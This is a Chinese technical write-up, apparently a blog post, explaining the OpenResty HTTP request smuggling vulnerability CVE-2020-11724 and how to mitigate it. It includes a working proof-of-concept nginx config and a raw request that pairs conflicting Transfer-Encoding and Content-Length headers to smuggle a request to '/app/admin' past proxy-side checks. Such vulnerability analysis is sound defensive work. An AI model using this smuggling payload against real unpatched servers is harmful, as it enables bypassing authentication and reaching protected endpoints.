OpenResty 最近发布的正式版本 1.17.8.2 修复了安全漏洞 CVE-2020-11724。
这个漏洞是一个 HTTP request smuggling 漏洞，可以实现某种程度上的安全防护绕过。
0x01 什么是 HTTP request smuggling
HTTP request smuggling 指利用两台 HTTP 服务器在解析 HTTP 协议的过程中的差异，来构造一个在两台服务器看来不同的请求。通常这样的做法可以用来绕过安全防护，比如发送请求 A 给 Web 防火墙，然后 Web 防火墙代理给后端应用服务器时，让后端服务器误以为是请求 B。
0x02 这次的漏洞长什么样子
先上一个 exploit：
server {
listen 1984;
server_name 'localhost';
location /test1 {
content_by_lua_block {
local res = ngx.location.capture('/backend')
ngx.print(res.body)
}
}
location /app {
content_by_lua_block {
ngx.log(ngx.ERR, ngx.var.uri)
}
}
location /backend {
proxy_http_version 1.1;
proxy_set_header Connection "";
proxy_pass http://backend/app/api;
}
location /t {
content_by_lua_block {
local sock = ngx.socket.tcp()
sock:settimeout(500)
assert(sock:connect("127.0.0.1", 1984))
local req = [[
GET /test1 HTTP/1.1
Host: foo
Transfer-Encoding: chunked
Content-Length: 42
0
GET /test1 HTTP/1.1
Host: foo
X: GET /app/admin HTTP/1.0
]]
local ok, err = sock:send(req)
if not ok then
ngx.say("send request failed: ", err)
return
end
sock:close()
}
}
}
}为了便于复现，这里我们把 OpenRestry 即当作客户端，也把它当作代理服务器和后端应用。其中 /t 用于作为客户端触发 HTTP 请求，/test1 则是作为代理服务器处理请求。/test1 通过 subrequest 请求了 /backend，而 /backend 作为代理访问了后端应用 /app。
请求 127.0.0.1:1984/t 你会看到打印出了两个 uri：
- /app/api
- /app/admin
也就是说，在后端应用的眼里，由代理服务器代理过来的用户访问了 /app/api 和 /app/admin 两个接口。假设鉴权等操作都在代理服务器上实现，后端应用无条件信任由代理服务器介绍过来的访问，那么用户不仅能访问 /app/api，还获得了对 /app/admin 的访问权限。
那么代理服务器有没有真的对这两个接口做鉴权呢？答案是，它做了一半，还有一半没做。在代理服务器看来，客户端发的两个请求，都是访问 /test1 接口。这两个请求是这样的：
GET /test1 HTTP/1.1
Host: foo
Transfer-Encoding: chunked
Content-Length: 42
0
GET /test1 HTTP/1.1
Host: foo
X: GET /app/admin HTTP/1.0
这两个请求 header 和 body 是不一样，但是好歹还是同一个接口。
然而在后端应用看来，这两个请求是这样的：
GET /app/api HTTP/1.1
Host: backend
Content-Length: 42
0
GET /test1 HTTP/1.1
Host: foo
X: GET /app/admin HTTP/1.0
完全是两个不同的请求了！
为什么会这样呢？我们可以看到，虽然代理服务器和后端应用看到的请求不一样，但是它们拼接后的结果都是差不多的，只是后端应用少了个 Transfer-Encoding: chunked 。玄机就在这里。
0x03 Content-Length or Transfer-Encoding，this is a question
妇孺皆知，HTTP 是非常复杂的应用层协议，即使是在这个领域浸淫多年的 Nginx 也未能实现完整的 HTTP 协议。
不过今天我不会带领大家查看 HTTP 协议里面边边角角，而是取看几乎每个 HTTP 请求都会有的报头：Content-Length 和 Transfer-Encoding。前者表示请求体的大小，后者表示请求体的格式。这两个之间有着这样的关系：如果指定了 Transfer-Encoding 为 chunk，那么请求体的大小会是不确定的，服务端需要读取每一个 chunk，直到读到最后一个 chunk 0\r\n\r\n 为止。即使客户端同时也指定了 Content-Length，服务端也应该以 Transfer-Encoding: chunked 为准。
这给 HTTP 请求的处理带来了一点复杂度，因为一般来说每个 header 之间是独立的。（Expires 和 Cache-Control 是又一个例外）
0x04 ngx.location.capture 缺了什么，以及后端应用扮演的角色
OpenResty 在读取请求的时候，发挥作用的是 Transfer-Encoding: chunked，所以第二个请求会从 0\r\n\r\n 后，即 GET /test1 开始读。可是，在修复了此漏洞之前，ngx.location.capture 并没有一个“如果指定了 Transfer-Encoding: chunked，那么忽略 Content-Length” 的处理。如果两者同时存在，依然还会认为请求体的长度是明确的。这么一来，生成的 subrequest 就会认为有一个长度明确的请求体，发给后端应用的请求是这样的：
GET /app/api HTTP/1.1
Host: backend
Content-Length: 42
...注意 Transfer-Encoding: chunked 已经消失了。
要想触发这个漏洞，还需要后端应用对连接做 keep alive 的操作。按照 HTTP 协议，后端应用要想复用 TCP 连接，需要保证这个连接上没有残留上个请求的数据。所以即使应用代码里面没有读取请求体的操作，后端应用仍然会丢弃掉整个请求体。而这个请求体的大小是“明确”的，后端应用需要丢弃 42 个字节的内容。被丢弃的 42 个字节，就是代理服务器所认为的第二个请求的开头部分。这样，第二个请求摇身一变，绕过了代理服务器的检查，偷渡成功，露出了本来狰狞的面目。
0x05 结论
这个漏洞的关键在于 ngx.location.capture 和 ngx.location.capture_multi在构建 subrequest 时没有处理好 Transfer-Encoding: chunked 和 Content-Length 同时存在的情况，导致攻击者可以构造虚假的请求体长度。
利用这个漏洞需要有两点：
- 调用了
ngx.location.capture或ngx.location.capture_multi， 外加proxy_pass来访问外部服务。 - 其他服务启用了 keepalive （对于 HTTP 1.1 这个是默认的）
如果你不能升级到 1.17.8.2，可以考虑在调用 ngx.location.capture 等函数之前，检查 Transfer-Encoding: chunked 和 Content-Length 是否同时存在，如果是，则去掉 Content-Length 报头。
还有一种处理方式，是 backport https://github.com/openresty/... 这个修复提交到你的 OpenResty 代码里面。